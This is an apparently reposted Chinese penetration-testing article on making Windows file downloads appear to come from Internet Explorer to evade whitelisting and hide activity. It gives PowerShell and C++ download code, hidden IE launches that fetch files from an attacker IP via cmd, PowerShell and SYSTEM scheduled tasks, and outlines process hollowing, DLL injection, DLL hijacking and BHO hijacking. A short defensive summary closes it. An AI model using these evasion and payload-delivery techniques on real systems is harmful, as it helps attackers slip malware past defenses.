23

渗透技巧——模拟IE浏览器下载文件

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E6%A8%A1%E6%8B%9FIE%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


在之前的文章《渗透技巧——从github下载文件的多种方法》介绍了通过cmd从github下载文件的多种方法,选出最短的实现代码(长度为25)。

本文将站在另一角度,介绍Windows系统下模拟IE浏览器实现文件下载的方法。

模拟IE浏览器实现文件下载不仅能够绕过白名单程序的拦截,而且能在一定程度上隐藏下载行为。所以本文将站在利用的角度介绍具体的利用方法,结合利用方法总结防御思路。

0x01 简介


本文将要介绍以下内容:

  • 模拟IE浏览器实现文件下载的多种方法
  • 分析优缺点
  • 总结防御思路

0x02 实现方法


由于方法众多,所以本文做了一个简单分类,整体上分为主动和被动两种模式。 主动模式代表通过命令主动实现文件下载,被动模式代表劫持用户行为,在用户打开IE时实现文件下载 其中,主动模式也要做一个区分,分为当前后台进程是否有IE浏览器进程iexplore.exe

具体方法如下:

1、主动模式

(1) 后台无IE进程

a) 调用IE COM对象

参考链接:

https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/

通过COM对象InternetExplorer.Application实现文件下载,后台进程为iexplore.exe

powershell代码如下:

$ie_com = New-Object -ComObject InternetExplorer.Application
$ie_com.Silent = $True
$ie_com.Visible = $False
$Headers = "Host: <SNIP>.cloudfront.net`r`n"
$ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers)
while($ie_com.busy -eq $true) {
    Start-Sleep -Milliseconds 100
}
$html = $ie_com.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie_com.document, $Null).InnerHtml
$html
$ie_com.Quit();

注:

若IE从未运行过,执行以上代码会弹框提示

powershell代码引用自https://gist.github.com/leoloobeek/f468d34e81795239a8f8bac03646cf59,该页面还包含cs、js和vbs的实现方法

b) Process Hollowing

参考文章:

《傀儡进程的实现与检测》

创建傀儡进程iexplore.exe,传入参数CREATE_SUSPENDED使进程挂起,清空iexplore.exe进程的内存数据,申请新的内存,写入payload,恢复寄存器环境,执行文件下载

通过c++实现的文件下载代码如下:

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define MAXBLOCKSIZE 1024
#pragma comment( lib, "wininet.lib" ) ;
void download(const char *Url,const char *save_as)
{
  byte Temp[MAXBLOCKSIZE];
  ULONG Number = 1;

  FILE *stream;
  HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
  if (hSession != NULL)
  {
    HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
    if (handle2 != NULL)
    {
      fopen_s(&stream, save_as, "wb" );
      while (Number > 0)
      {
        InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);

        fwrite(Temp, sizeof (char), Number , stream);
      }
      fclose( stream );
      InternetCloseHandle(handle2);
      handle2 = NULL;
    }
    InternetCloseHandle(hSession);
    hSession = NULL;
  }
}
int main(int argc, char* argv[]){
  download("https://github.com/3gstudent/test/raw/master/putty.exe","c:\\test\\putty.exe");
  return 0;
}

打开防火墙监控,下载进程为Internet Explorer,完整测试如下图

Alt text

c) Process Doppelganging

参考文章:

《Process-Doppelganging利用介绍》

原理上类似于Process Hollowing,实现思路为打开一个正常文件,创建transaction;在这个transaction内填入payload,payload作为进程被启动;回滚transaction

需要注意的是Process Doppelganging需要对正常文件进行写入操作。如果是对iexplore.exe进行利用,需要获得Trusted Installer权限,获得Trusted Installer权限的方法可参考文章:

《渗透技巧——Token窃取与利用》

d) 隐蔽启动IE,访问特定网址,通过缓存获得下载的文件

第一种思路:

cmd启动IE,访问网址,通过缓存获得下载的文件

start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png

注:

这种方式会打开IE的界面,但可通过API ShowWindowAsync隐藏IE界面,powershell实现脚本:

https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1

第二种思路:

通过powershell隐蔽启动IE,访问网址,通过缓存获得下载的文件

powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/evil-kiwi.png -WindowStyle Hidden"

以上两种思路通过IE访问网址后,会在如下位置保存缓存文件:

  • Win7: %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files
  • Win8、Win10: %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE

可使用通配符获得不同系统下缓存文件的路径,命令如下:

dir %LOCALAPPDATA%\*evil-kiwi*.png /s /b

以上两种思路会在IE浏览器留下历史记录,历史记录对应路径为: %LOCALAPPDATA%\Microsoft\Windows\History\

该方法的父进程为powershell.exe,但可以通过token复制改变父进程(例如SelectMyParent、Invoke-TokenManipulation.ps1)

第三种思路:

利用计划任务启动IE,访问网址,通过缓存获得下载的文件(需要管理员权限)

at  6:34 "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png
schtasks /create /RU SYSTEM /RP "" /SC ONCE /TN test1 /TR "C:\Program Files\Internet Explorer\iexplore.exe http://192.168.62.131/evil-kiwi.png" /ST 06:34 /F  

由于计划任务的权限为system,所以用户桌面无法查看启动的IE浏览器界面,缓存位置也不同,通用路径为%windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\ 可使用通配符获得不同系统下缓存文件的路径,命令如下:

dir %windir%\*evil-kiwi*.png /s /b

所以使用计划任务打开的IE浏览器,不存在历史记录,父进程为svchost.exe

第四种思路:

创建服务启动IE,访问网址,通过缓存获得下载的文件

sc create Test1 type= own binpath= "C:\Program Files\Internet Explorer\iexplore.exe"
sc start test1

通过这种方式启动的服务,调用的程序需要能够同SCM(Services Control Manager)进行交互,而iexplorer.exe不支持这个功能

可通过其他方式创建服务

注:

隐蔽启动IE,访问特定网址,通过缓存获得下载的文件后,需要手动结束IE进程

e) 隐蔽启动ie,进行DLL注入(APC、Atombombing)

隐蔽启动IE后,对IE进程进行dll注入,dll实现文件下载的功能

APC注入的代码可参考:

https://github.com/3gstudent/Inject-dll-by-APC

Atombombing可以理解为APC注入的升级版,可参考文章:

《AtomBombing利用分析》

(2) 后台有IE进程

a) DLL注入(APC、Atombombing)

方法同上,不再赘述

2、被动模式

a) DLL劫持

这里仅给出一个实例: C:\Program Files\Internet Explorer\IEShims.dll

该dll在IE浏览器打开时被加载

DLL开发思路:

可使用工具exportstoc,下载地址:

https://github.com/michaellandi/exportstoc

生成方法可参考文章:

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/

原dll保留,启动时需要做一个互斥,避免多次启动

b) BHO

利用BHO(Browser Helper Object)劫持IE浏览器,在浏览器页面打开时实现文件下载,可参考文章:

《利用BHO实现IE浏览器劫持》

0x03 小结


综上,模拟IE浏览器下载文件的实现方法如下:

(1) 主动模式

当前后台无IE进程:

  • 调用IE COM对象
  • Process Hollowing
  • Process Doppelganging
  • 隐蔽启动IE,访问特定网址,通过缓存获得下载的文件
    • 通过cmd启动
    • 通过服务启动
    • 创建服务启动
  • 隐蔽启动IE,进行DLL注入(APC、Atombombing)

当前后台有IE进程:

  • DLL注入(APC、Atombombing)

(2) 被动模式

  • DLL劫持

站在防御的角度,应对主动模式的利用方法,需要注意iexplore.exe的父进程是否可疑;应对DLL注入和DLL劫持,可监控敏感API的调用;应对BHO对象,可监控特定注册表


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK